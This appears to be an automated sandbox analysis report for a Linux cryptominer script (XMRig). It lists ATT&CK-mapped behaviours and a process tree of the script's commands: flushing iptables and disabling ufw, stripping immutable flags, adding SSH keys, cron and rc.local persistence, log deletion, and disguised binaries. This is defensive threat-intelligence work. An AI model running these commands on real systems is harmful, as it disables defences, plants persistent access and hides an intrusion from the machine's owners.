xmrig_linux | 1bf4fcd6d035805d44b5ae7ec67860911ed4c43f94e827c988992d0587d1ab40

Analysis

max time kernel
45s
max time network
129s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20260513-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
13/09/2026, 18:11

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
1bf4fcd6d035805d44b5ae7ec67860911ed4c43f94e827c988992d0587d1ab40.sh
Size 46KB
Sample260913-wspcta1elf
SHA256 1bf4fcd6d035805d44b5ae7ec67860911ed4c43f94e827c988992d0587d1ab40
MD5 150dc9ae7c5729552ec2e92a7bc49095
SHA1 2aed6d97f2c3400e1eb7e136e245a6f45ef4ae1f
SHA512 13c40ba893a9f7a0f3e674400025f65e041e91f09b6def779078e391e35a3dedaf55742e68ae0b9b6f3c9120c1628266fb16348b674e988d146ed3d7b2c3f9c7
SSDEEP 768:bxlT2wDuWvWi7JFNcuFkc2zq0x3UKnicZuiR/amT8z:8wF+Lc2/FicfSmT8z
TLSH
T15F23AB5D9071ECB13C64CC66D9A17218B4ADE09AC5F3BB88BD2D3E3C5B64005F9B11AE
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution xmrig_linux miner persistence privilege_escalation rootkit

Malware Config

Signatures

Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig_linux

Adds new SSH keys 1 TTPs 1 IoCs

Linux special file to hold SSH keys. The threat actor may add new keys for further remote access.

persistence privilege_escalation

SSH Authorized Keys

T1098.004

description	ioc	Process
File opened for modification	/root/.ssh/authorized_keys	1bf4fcd6d035805d44b5ae7ec67860911ed4c43f94e827c988992d0587d1ab40.sh

File and Directory Permissions Modification 1 TTPs 8 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
3793	Process not Found
3796	Process not Found
3799	Process not Found
3822	Process not Found
3828	Process not Found
3831	Process not Found
1515	chmod
1516	chmod

Deletes system logs 1 TTPs 1 IoCs

Deletes log file which contains global system messages. Adversaries may delete system logs to minimize their footprint.

defense_evasion

Clear Linux or Mac System Logs

T1070.002

description	ioc	Process
File deleted	/var/log/syslog	rm

Disables AppArmor Mandatory Access Control 1 TTPs 64 IoCs

Stops or disables AppArmor via systemctl, removing mandatory access control restrictions on process capabilities and file access.

Disable or Modify Tools

T1562.001

pid	Process
3128	Process not Found
3128	Process not Found
3128	Process not Found
3271	Process not Found
3278	Process not Found
3351	Process not Found
1768	systemctl
1844	systemctl
1854	systemctl
3109	Process not Found
3141	Process not Found
3278	Process not Found
3301	Process not Found
3362	Process not Found
1839	systemctl
1843	systemctl
3100	Process not Found
3126	Process not Found
3255	Process not Found
3261	Process not Found
3262	Process not Found
3349	Process not Found
1845	systemctl
3301	Process not Found
3364	Process not Found
3342	Process not Found
3845	Process not Found
1790	systemctl
1834	systemctl
1841	systemctl
3100	Process not Found
3358	Process not Found
1764	systemctl
1768	systemctl
1848	systemctl
3122	Process not Found
3260	Process not Found
3267	Process not Found
3278	Process not Found
3356	Process not Found
1842	systemctl
1831	systemctl
3264	Process not Found
3361	Process not Found
3363	Process not Found
1847	systemctl
1853	systemctl
3121	Process not Found
3125	Process not Found
3127	Process not Found
3258	Process not Found
3278	Process not Found
3301	Process not Found
3142	Process not Found
3259	Process not Found
3352	Process not Found
1768	systemctl
1790	systemctl
3117	Process not Found
3128	Process not Found
3366	Process not Found
3846	Process not Found
1727	systemctl
1849	systemctl

Executes dropped EXE 1 IoCs

ioc	pid	Process
/etc/zzh	3827	1bf4fcd6d035805d44b5ae7ec67860911ed4c43f94e827c988992d0587d1ab40.sh

Flushes firewall rules 1 TTPs 64 IoCs

Flushes/ disables firewall rules inside the Linux kernel.

defense_evasion

Disable or Modify System Firewall

T1562.004

pid	Process
1666	ip6tables
3300	Process not Found
1586	iptables
1654	ip6tables
1655	ip6tables
1656	ip6tables
1677	ip6tables
1688	ip6tables
1557	iptables
1572	iptables
1588	iptables
1591	iptables
1679	ip6tables
1686	ip6tables
1697	ip6tables
1545	iptables
1562	iptables
1619	ip6tables
1577	iptables
1674	ip6tables
1691	ip6tables
1642	ip6tables
1585	iptables
1600	iptables
1603	iptables
1615	iptables
1616	ip6tables
1541	iptables
1548	iptables
1583	iptables
1595	iptables
1614	iptables
1633	ip6tables
1660	ip6tables
3841	Process not Found
1567	iptables
1599	iptables
1650	ip6tables
1519	iptables
1555	iptables
1574	iptables
1584	iptables
1631	ip6tables
1680	ip6tables
1690	ip6tables
1578	iptables
1596	iptables
1621	ip6tables
1593	iptables
1673	ip6tables
1687	ip6tables
1637	ip6tables
1550	iptables
1602	iptables
1622	ip6tables
1629	ip6tables
1670	ip6tables
1689	ip6tables
1590	iptables
1598	iptables
1611	iptables
1624	ip6tables
1657	ip6tables
1539	iptables

Loads a kernel module 1 IoCs

Loads a Linux kernel module, potentially to achieve persistence

rootkit

ioc	pid	Process
/lib/modules/4.15.0-213-generic/kernel/net/ipv6/netfilter/ip6_tables.ko	1531	modprobe

Writes DNS configuration 1 TTPs 1 IoCs

Writes data to DNS resolver config file.

Adversary-in-the-Middle

T1557

description	ioc	Process
File opened for modification	/etc/resolv.conf	1bf4fcd6d035805d44b5ae7ec67860911ed4c43f94e827c988992d0587d1ab40.sh

Creates/modifies Cron job 1 TTPs 4 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/etc/cron.hourly/0anacron	1bf4fcd6d035805d44b5ae7ec67860911ed4c43f94e827c988992d0587d1ab40.sh
File opened for modification	/etc/cron.d/zzh	1bf4fcd6d035805d44b5ae7ec67860911ed4c43f94e827c988992d0587d1ab40.sh
File opened for modification	/etc/crontab	1bf4fcd6d035805d44b5ae7ec67860911ed4c43f94e827c988992d0587d1ab40.sh
File opened for modification	/etc/cron.daily/logrotate	1bf4fcd6d035805d44b5ae7ec67860911ed4c43f94e827c988992d0587d1ab40.sh

Deletes log files 1 TTPs 2 IoCs

Deletes log files on the system.

defense_evasion

Clear Linux or Mac System Logs

T1070.002

description	ioc	Process
File truncated	/var/log/secure	1bf4fcd6d035805d44b5ae7ec67860911ed4c43f94e827c988992d0587d1ab40.sh
File truncated	/var/log/wtmp	1bf4fcd6d035805d44b5ae7ec67860911ed4c43f94e827c988992d0587d1ab40.sh

Disables SELinux 1 TTPs 5 IoCs

Disables SELinux security module.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
1726	setenforce
2250	grep
2362	grep
2674	Process not Found
2694	Process not Found

Enumerates running processes
Discovers information about currently running processes on the system

Modifies rc script 2 TTPs 1 IoCs

Adding/modifying system rc scripts is a common persistence mechanism.

persistence

Boot or Logon Autostart Execution

T1547

RC Scripts

T1037.004

description	ioc	Process
File opened for modification	/etc/rc.d/rc.local	1bf4fcd6d035805d44b5ae7ec67860911ed4c43f94e827c988992d0587d1ab40.sh

Removes the immutable protection flag from a file 1 TTPs 64 IoCs

Uses chattr to remove the immutable flag from a file, allowing previously write-protected files to be modified or deleted.

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
2631	Process not Found
2766	Process not Found
2822	Process not Found
1546	iptables
1939	xargs
2117	xargs
2177	xargs
3163	Process not Found
3199	Process not Found
3381	Process not Found
3382	Process not Found
2019	xargs
2212	xargs
2786	Process not Found
2824	Process not Found
2277	xargs
2286	xargs
2404	xargs
2796	Process not Found
3808	Process not Found
1692	ip6tables
1965	chattr
2554	xargs
2566	xargs
2595	Process not Found
2656	Process not Found
2846	Process not Found
3809	Process not Found
1639	ip6tables
2227	xargs
2272	xargs
2349	xargs
2601	Process not Found
2726	Process not Found
2802	Process not Found
2830	Process not Found
2081	xargs
2862	Process not Found
3040	Process not Found
3179	Process not Found
2468	xargs
2834	Process not Found
1619	ip6tables
1661	ip6tables
2625	Process not Found
2780	Process not Found
1590	iptables
1744	systemctl
2043	xargs
2691	Process not Found
2754	Process not Found
3738	Process not Found
1700	chattr
1904	xargs
2222	xargs
2311	xargs
2750	Process not Found
3830	Process not Found
1655	ip6tables
1919	xargs
2086	xargs
2237	xargs
2429	xargs
2752	Process not Found

Write file to user bin folder 6 IoCs

persistence

description	ioc	Process
File opened for modification	/usr/bin/ip6network	1bf4fcd6d035805d44b5ae7ec67860911ed4c43f94e827c988992d0587d1ab40.sh
File opened for modification	/usr/bin/kswaped	1bf4fcd6d035805d44b5ae7ec67860911ed4c43f94e827c988992d0587d1ab40.sh
File opened for modification	/usr/bin/irqbalanced	1bf4fcd6d035805d44b5ae7ec67860911ed4c43f94e827c988992d0587d1ab40.sh
File opened for modification	/usr/bin/rctlcli	1bf4fcd6d035805d44b5ae7ec67860911ed4c43f94e827c988992d0587d1ab40.sh
File opened for modification	/usr/bin/systemd-network	1bf4fcd6d035805d44b5ae7ec67860911ed4c43f94e827c988992d0587d1ab40.sh
File opened for modification	/usr/bin/pamdicks	1bf4fcd6d035805d44b5ae7ec67860911ed4c43f94e827c988992d0587d1ab40.sh

Writes file to system bin folder 6 IoCs

description	ioc	Process
File opened for modification	/bin/pstree	1bf4fcd6d035805d44b5ae7ec67860911ed4c43f94e827c988992d0587d1ab40.sh
File opened for modification	/bin/pstree	Process not Found
File opened for modification	/bin/ps	1bf4fcd6d035805d44b5ae7ec67860911ed4c43f94e827c988992d0587d1ab40.sh
File opened for modification	/bin/ps	Process not Found
File opened for modification	/bin/top	1bf4fcd6d035805d44b5ae7ec67860911ed4c43f94e827c988992d0587d1ab40.sh
File opened for modification	/bin/top	Process not Found

Changes its process name 2 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	(sysv-install)	1765	systemctl
Changes the process name, possibly in an attempt to hide itself	(sysv-install)	3275	Process not Found

Discovers running processes 1 TTPs 64 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
2390	ps
2312	ps
2537	ps
2561	ps
1945	ps
2163	ps
2446	ps
2072	ps
2278	ps
2425	ps
2531	ps
2632	Process not Found
2077	ps
2148	ps
2198	ps
2103	ps
2345	ps
2578	Process not Found
2233	ps
2499	ps
3374	Process not Found
1724	ps
1925	ps
2118	ps
2153	ps
2092	ps
2208	ps
2596	Process not Found
3369	Process not Found
2360	ps
2365	ps
2474	ps
2479	ps
1910	ps
2188	ps
2193	ps
2213	ps
2273	ps
2318	ps
2340	ps
2282	ps
2415	ps
2436	ps
2469	ps
2614	Process not Found
2504	ps
1930	ps
2128	ps
2355	ps
2405	ps
2602	Process not Found
2626	Process not Found
1920	ps
1935	ps
2168	ps
2328	ps
2375	ps
2400	ps
2452	ps
2608	Process not Found
2087	ps
2258	ps
2567	ps
2637	Process not Found

Reads CPU attributes 1 TTPs 64 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	ps

Enumerates kernel/hardware configuration 1 TTPs 6 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/kernel/mm/transparent_hugepage/hpage_pmd_size	Process not Found
File opened for reading	/sys/module/ip6_tables/initstate	modprobe
File opened for reading	/sys/module/x_tables/initstate	modprobe
File opened for reading	/sys/kernel/mm/transparent_hugepage/hpage_pmd_size	Process not Found
File opened for reading	/sys/kernel/mm/transparent_hugepage/hpage_pmd_size	Process not Found
File opened for reading	/sys/kernel/mm/transparent_hugepage/hpage_pmd_size	Process not Found

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/30/cmdline	Process not Found
File opened for reading	/proc/196/status	Process not Found
File opened for reading	/proc/178/cmdline	Process not Found
File opened for reading	/proc/86/stat	ps
File opened for reading	/proc/500/cmdline	Process not Found
File opened for reading	/proc/717/status	Process not Found
File opened for reading	/proc/503/cmdline	ps
File opened for reading	/proc/1171/cmdline	Process not Found
File opened for reading	/proc/137/status	Process not Found
File opened for reading	/proc/1344/status	ps
File opened for reading	/proc/468/stat	ps
File opened for reading	/proc/sys/kernel/osrelease	Process not Found
File opened for reading	/proc/35/cmdline	Process not Found
File opened for reading	/proc/695/status	Process not Found
File opened for reading	/proc/1272/stat	ps
File opened for reading	/proc/1931/status	ps
File opened for reading	/proc/98/status	ps
File opened for reading	/proc/676/cmdline	Process not Found
File opened for reading	/proc/919/status	Process not Found
File opened for reading	/proc/882/cmdline	ps
File opened for reading	/proc/468/cmdline	ps
File opened for reading	/proc/115/cmdline	Process not Found
File opened for reading	/proc/1171/cmdline	Process not Found
File opened for reading	/proc/1509/stat	ps
File opened for reading	/proc/462/status	ps
File opened for reading	/proc/911/cmdline	ps
File opened for reading	/proc/933/cmdline	Process not Found
File opened for reading	/proc/933/status	Process not Found
File opened for reading	/proc/504/status	Process not Found
File opened for reading	/proc/933/status	Process not Found
File opened for reading	/proc/179/cmdline	Process not Found
File opened for reading	/proc/1057/stat	ps
File opened for reading	/proc/1108/cmdline	ps
File opened for reading	/proc/190/stat	Process not Found
File opened for reading	/proc/1216/stat	Process not Found
File opened for reading	/proc/622/status	Process not Found
File opened for reading	/proc/1114/cmdline	Process not Found
File opened for reading	/proc/1104/status	Process not Found
File opened for reading	/proc/468/status	Process not Found
File opened for reading	/proc/1110/cmdline	ps
File opened for reading	/proc/7/cmdline	Process not Found
File opened for reading	/proc/2869/status	Process not Found
File opened for reading	/proc/30/status	ps
File opened for reading	/proc/2/stat	ps
File opened for reading	/proc/468/cmdline	ps
File opened for reading	/proc/190/stat	ps
File opened for reading	/proc/115/status	ps
File opened for reading	/proc/194/cmdline	Process not Found
File opened for reading	/proc/80/cmdline	Process not Found
File opened for reading	/proc/1031/cmdline	Process not Found
File opened for reading	/proc/1171/stat	ps
File opened for reading	/proc/958/stat	ps
File opened for reading	/proc/1017/cmdline	ps
File opened for reading	/proc/1086/cmdline	Process not Found
File opened for reading	/proc/1056/cmdline	Process not Found
File opened for reading	/proc/504/cmdline	ps
File opened for reading	/proc/933/status	ps
File opened for reading	/proc/6/cmdline	ps
File opened for reading	/proc/10/status	Process not Found
File opened for reading	/proc/342/cmdline	Process not Found
File opened for reading	/proc/187/status	Process not Found
File opened for reading	/proc/1065/stat	Process not Found
File opened for reading	/proc/985/cmdline	Process not Found
File opened for reading	/proc/1514/status	Process not Found

System Network Configuration Discovery 1 TTPs 8 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1954	chattr
1960	chattr
2245	grep
2275	grep
2491	grep
3000	Process not Found
3842	Process not Found
1531	modprobe

Writes file to tmp directory 36 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/fileutl.message.8XE6bm	Process not Found
File opened for modification	/tmp/fileutl.message.WSmHuQ	Process not Found
File opened for modification	/tmp/svcupdate	1bf4fcd6d035805d44b5ae7ec67860911ed4c43f94e827c988992d0587d1ab40.sh
File opened for modification	/tmp/fileutl.message.R9dkyC	Process not Found
File opened for modification	/tmp/fileutl.message.HFHPQb	Process not Found
File opened for modification	/tmp/fileutl.message.UekDTd	Process not Found
File opened for modification	/tmp/svcguard	1bf4fcd6d035805d44b5ae7ec67860911ed4c43f94e827c988992d0587d1ab40.sh
File opened for modification	/tmp/fileutl.message.TyHTHU	Process not Found
File opened for modification	/tmp/fileutl.message.43ydkA	Process not Found
File opened for modification	/tmp/fileutl.message.3yqurl	Process not Found
File opened for modification	/tmp/fileutl.message.r6qS9K	Process not Found
File opened for modification	/tmp/fileutl.message.AXfyKY	Process not Found
File opened for modification	/tmp/fileutl.message.HUQWXm	Process not Found
File opened for modification	/tmp/fileutl.message.7KgBID	Process not Found
File opened for modification	/tmp/fileutl.message.VHRkg3	Process not Found
File opened for modification	/tmp/fileutl.message.cs9U6s	Process not Found
File opened for modification	/tmp/fileutl.message.WtnEJ5	Process not Found
File opened for modification	/tmp/fileutl.message.ahcXmI	Process not Found
File opened for modification	/tmp/fileutl.message.m9cO0k	Process not Found
File opened for modification	/tmp/fileutl.message.CpwMZc	Process not Found
File opened for modification	/tmp/fileutl.message.gOCXFP	Process not Found
File opened for modification	/tmp/fileutl.message.a5zHms	Process not Found
File opened for modification	/tmp/fileutl.message.hkxuv4	Process not Found
File opened for modification	/tmp/fileutl.message.ezAbEJ	Process not Found
File opened for modification	/tmp/fileutl.message.YyeeFX	Process not Found
File opened for modification	/tmp/fileutl.message.o0cwjB	Process not Found
File opened for modification	/tmp/dev/null	1bf4fcd6d035805d44b5ae7ec67860911ed4c43f94e827c988992d0587d1ab40.sh
File opened for modification	/tmp/fileutl.message.5gi26V	Process not Found
File opened for modification	/tmp/fileutl.message.huVUiv	Process not Found
File opened for modification	/tmp/fileutl.message.vOQQWc	Process not Found
File opened for modification	/tmp/fileutl.message.hZhqtk	Process not Found
File opened for modification	/tmp/kdevtmpfsi	1bf4fcd6d035805d44b5ae7ec67860911ed4c43f94e827c988992d0587d1ab40.sh
File opened for modification	/tmp/fileutl.message.jUHBbM	Process not Found
File opened for modification	/tmp/fileutl.message.Fq4QYt	Process not Found
File opened for modification	/tmp/fileutl.message.dm2tNT	Process not Found
File opened for modification	/tmp/fileutl.message.YAYu76	Process not Found

Software Deployment Tools 1 TTPs 1 IoCs

Use software deployment tools to execute code.

execution

Software Deployment Tools

T1072

pid	Process
3887	Process not Found

/tmp/1bf4fcd6d035805d44b5ae7ec67860911ed4c43f94e827c988992d0587d1ab40.sh
/tmp/1bf4fcd6d035805d44b5ae7ec67860911ed4c43f94e827c988992d0587d1ab40.sh
1⤵
- Adds new SSH keys
- Executes dropped EXE
- Writes DNS configuration
- Creates/modifies Cron job
- Deletes log files
- Modifies rc script
- Write file to user bin folder
- Writes file to system bin folder
- Writes file to tmp directory
PID:1514
- /bin/chmod
  chmod 777 /usr/bin/chattr
  2⤵
  - File and Directory Permissions Modification
  PID:1515
- /bin/chmod
  chmod 777 /bin/chattr
  2⤵
  - File and Directory Permissions Modification
  PID:1516
- /usr/bin/chattr
  chattr -iua /tmp/
  2⤵
  PID:1517
- /usr/bin/chattr
  chattr -iua /var/tmp/
  2⤵
  PID:1518
- /sbin/iptables
  iptables -F
  2⤵
  - Flushes firewall rules
  PID:1519
- /usr/sbin/ufw
  ufw disable
  2⤵
  PID:1522
- - /sbin/iptables
    /sbin/iptables -V
    3⤵
    PID:1528
- - /lib/ufw/ufw-init
    /lib/ufw/ufw-init force-stop
    3⤵
    PID:1529
  - - /sbin/ip6tables
      ip6tables -L INPUT -n
      4⤵
      PID:1530
    - - /sbin/modprobe
        
        /sbin/modprobe ip6_tables
        5⤵
        Loads a kernel module
        Enumerates kernel/hardware configuration
        System Network Configuration Discovery
        
        PID:1531
  - - /sbin/iptables
      iptables -F ufw-logging-deny
      4⤵
      PID:1535
  - - /sbin/iptables
      iptables -F ufw-logging-allow
      4⤵
      PID:1536
  - - /sbin/iptables
      iptables -F ufw-not-local
      4⤵
      PID:1537
  - - /sbin/iptables
      iptables -F ufw-user-logging-input
      4⤵
      PID:1538
  - - /sbin/iptables
      iptables -F ufw-user-limit-accept
      4⤵
      Flushes firewall rules
      PID:1539
  - - /sbin/iptables
      iptables -F ufw-user-limit
      4⤵
      PID:1540
  - - /sbin/iptables
      iptables -F ufw-skip-to-policy-input
      4⤵
      Flushes firewall rules
      PID:1541
  - - /sbin/iptables
      iptables -F ufw-reject-input
      4⤵
      PID:1542
  - - /sbin/iptables
      iptables -F ufw-after-logging-input
      4⤵
      PID:1543
  - - /sbin/iptables
      iptables -F ufw-after-input
      4⤵
      PID:1544
  - - /sbin/iptables
      iptables -F ufw-user-input
      4⤵
      Flushes firewall rules
      PID:1545
  - - /sbin/iptables
      iptables -F ufw-before-input
      4⤵
      Removes the immutable protection flag from a file
      PID:1546
  - - /sbin/iptables
      iptables -F ufw-before-logging-input
      4⤵
      PID:1547
  - - /sbin/iptables
      iptables -F ufw-skip-to-policy-forward
      4⤵
      Flushes firewall rules
      PID:1548
  - - /sbin/iptables
      iptables -F ufw-reject-forward
      4⤵
      PID:1549
  - - /sbin/iptables
      iptables -F ufw-after-logging-forward
      4⤵
      Flushes firewall rules
      PID:1550
  - - /sbin/iptables
      iptables -F ufw-after-forward
      4⤵
      PID:1551
  - - /sbin/iptables
      iptables -F ufw-user-logging-forward
      4⤵
      PID:1552
  - - /sbin/iptables
      iptables -F ufw-user-forward
      4⤵
      PID:1553
  - - /sbin/iptables
      iptables -F ufw-before-forward
      4⤵
      PID:1554
  - - /sbin/iptables
      iptables -F ufw-before-logging-forward
      4⤵
      Flushes firewall rules
      PID:1555
  - - /sbin/iptables
      iptables -F ufw-track-forward
      4⤵
      PID:1556
  - - /sbin/iptables
      iptables -F ufw-track-output
      4⤵
      Flushes firewall rules
      PID:1557
  - - /sbin/iptables
      iptables -F ufw-track-input
      4⤵
      PID:1558
  - - /sbin/iptables
      iptables -F ufw-skip-to-policy-output
      4⤵
      PID:1559
  - - /sbin/iptables
      iptables -F ufw-reject-output
      4⤵
      PID:1560
  - - /sbin/iptables
      iptables -F ufw-after-logging-output
      4⤵
      PID:1561
  - - /sbin/iptables
      iptables -F ufw-after-output
      4⤵
      Flushes firewall rules
      PID:1562
  - - /sbin/iptables
      iptables -F ufw-user-logging-output
      4⤵
      PID:1563
  - - /sbin/iptables
      iptables -F ufw-user-output
      4⤵
      PID:1564
  - - /sbin/iptables
      iptables -F ufw-before-output
      4⤵
      PID:1565
  - - /sbin/iptables
      iptables -F ufw-before-logging-output
      4⤵
      PID:1566
  - - /sbin/iptables
      iptables -Z ufw-logging-deny
      4⤵
      Flushes firewall rules
      PID:1567
  - - /sbin/iptables
      iptables -Z ufw-logging-allow
      4⤵
      PID:1568
  - - /sbin/iptables
      iptables -Z ufw-not-local
      4⤵
      PID:1569
  - - /sbin/iptables
      iptables -Z ufw-user-logging-input
      4⤵
      PID:1570
  - - /sbin/iptables
      iptables -Z ufw-user-limit-accept
      4⤵
      PID:1571
  - - /sbin/iptables
      iptables -Z ufw-user-limit
      4⤵
      Flushes firewall rules
      PID:1572
  - - /sbin/iptables
      iptables -Z ufw-skip-to-policy-input
      4⤵
      PID:1573
  - - /sbin/iptables
      iptables -Z ufw-reject-input
      4⤵
      Flushes firewall rules
      PID:1574
  - - /sbin/iptables
      iptables -Z ufw-after-logging-input
      4⤵
      PID:1575
  - - /sbin/iptables
      iptables -Z ufw-after-input
      4⤵
      PID:1576
  - - /sbin/iptables
      iptables -Z ufw-user-input
      4⤵
      Flushes firewall rules
      PID:1577
  - - /sbin/iptables
      iptables -Z ufw-before-input
      4⤵
      Flushes firewall rules
      PID:1578
  - - /sbin/iptables
      iptables -Z ufw-before-logging-input
      4⤵
      PID:1579
  - - /sbin/iptables
      iptables -Z ufw-skip-to-policy-forward
      4⤵
      PID:1580
  - - /sbin/iptables
      iptables -Z ufw-reject-forward
      4⤵
      PID:1581
  - - /sbin/iptables
      iptables -Z ufw-after-logging-forward
      4⤵
      PID:1582
  - - /sbin/iptables
      iptables -Z ufw-after-forward
      4⤵
      Flushes firewall rules
      PID:1583
  - - /sbin/iptables
      iptables -Z ufw-user-logging-forward
      4⤵
      Flushes firewall rules
      PID:1584
  - - /sbin/iptables
      iptables -Z ufw-user-forward
      4⤵
      Flushes firewall rules
      PID:1585
  - - /sbin/iptables
      iptables -Z ufw-before-forward
      4⤵
      Flushes firewall rules
      PID:1586
  - - /sbin/iptables
      iptables -Z ufw-before-logging-forward
      4⤵
      PID:1587
  - - /sbin/iptables
      iptables -Z ufw-track-forward
      4⤵
      Flushes firewall rules
      PID:1588
  - - /sbin/iptables
      iptables -Z ufw-track-output
      4⤵
      PID:1589
  - - /sbin/iptables
      iptables -Z ufw-track-input
      4⤵
      Flushes firewall rules
      Removes the immutable protection flag from a file
      PID:1590
  - - /sbin/iptables
      iptables -Z ufw-skip-to-policy-output
      4⤵
      Flushes firewall rules
      PID:1591
  - - /sbin/iptables
      iptables -Z ufw-reject-output
      4⤵
      PID:1592
  - - /sbin/iptables
      iptables -Z ufw-after-logging-output
      4⤵
      Flushes firewall rules
      PID:1593
  - - /sbin/iptables
      iptables -Z ufw-after-output
      4⤵
      PID:1594
  - - /sbin/iptables
      iptables -Z ufw-user-logging-output
      4⤵
      Flushes firewall rules
      PID:1595
  - - /sbin/iptables
      iptables -Z ufw-user-output
      4⤵
      Flushes firewall rules
      PID:1596
  - - /sbin/iptables
      iptables -Z ufw-before-output
      4⤵
      PID:1597
  - - /sbin/iptables
      iptables -Z ufw-before-logging-output
      4⤵
      Flushes firewall rules
      PID:1598
  - - /sbin/iptables
      iptables -X ufw-logging-deny
      4⤵
      Flushes firewall rules
      PID:1599
  - - /sbin/iptables
      iptables -X ufw-logging-allow
      4⤵
      Flushes firewall rules
      PID:1600
  - - /sbin/iptables
      iptables -X ufw-not-local
      4⤵
      PID:1601
  - - /sbin/iptables
      iptables -X ufw-user-logging-input
      4⤵
      Flushes firewall rules
      PID:1602
  - - /sbin/iptables
      iptables -X ufw-user-logging-output
      4⤵
      Flushes firewall rules
      PID:1603
  - - /sbin/iptables
      iptables -X ufw-user-logging-forward
      4⤵
      PID:1604
  - - /sbin/iptables
      iptables -X ufw-user-limit-accept
      4⤵
      PID:1605
  - - /sbin/iptables
      iptables -X ufw-user-limit
      4⤵
      PID:1606
  - - /sbin/iptables
      iptables -X ufw-user-input
      4⤵
      PID:1607
  - - /sbin/iptables
      iptables -X ufw-user-forward
      4⤵
      PID:1608
  - - /sbin/iptables
      iptables -X ufw-user-output
      4⤵
      PID:1609
  - - /sbin/iptables
      iptables -X ufw-skip-to-policy-input
      4⤵
      PID:1610
  - - /sbin/iptables
      iptables -X ufw-skip-to-policy-output
      4⤵
      Flushes firewall rules
      PID:1611
  - - /sbin/iptables
      iptables -X ufw-skip-to-policy-forward
      4⤵
      PID:1612
  - - /sbin/iptables
      iptables -P INPUT ACCEPT
      4⤵
      PID:1613
  - - /sbin/iptables
      iptables -P OUTPUT ACCEPT
      4⤵
      Flushes firewall rules
      PID:1614
  - - /sbin/iptables
      iptables -P FORWARD ACCEPT
      4⤵
      Flushes firewall rules
      PID:1615
  - - /sbin/ip6tables
      ip6tables -F ufw6-logging-deny
      4⤵
      Flushes firewall rules
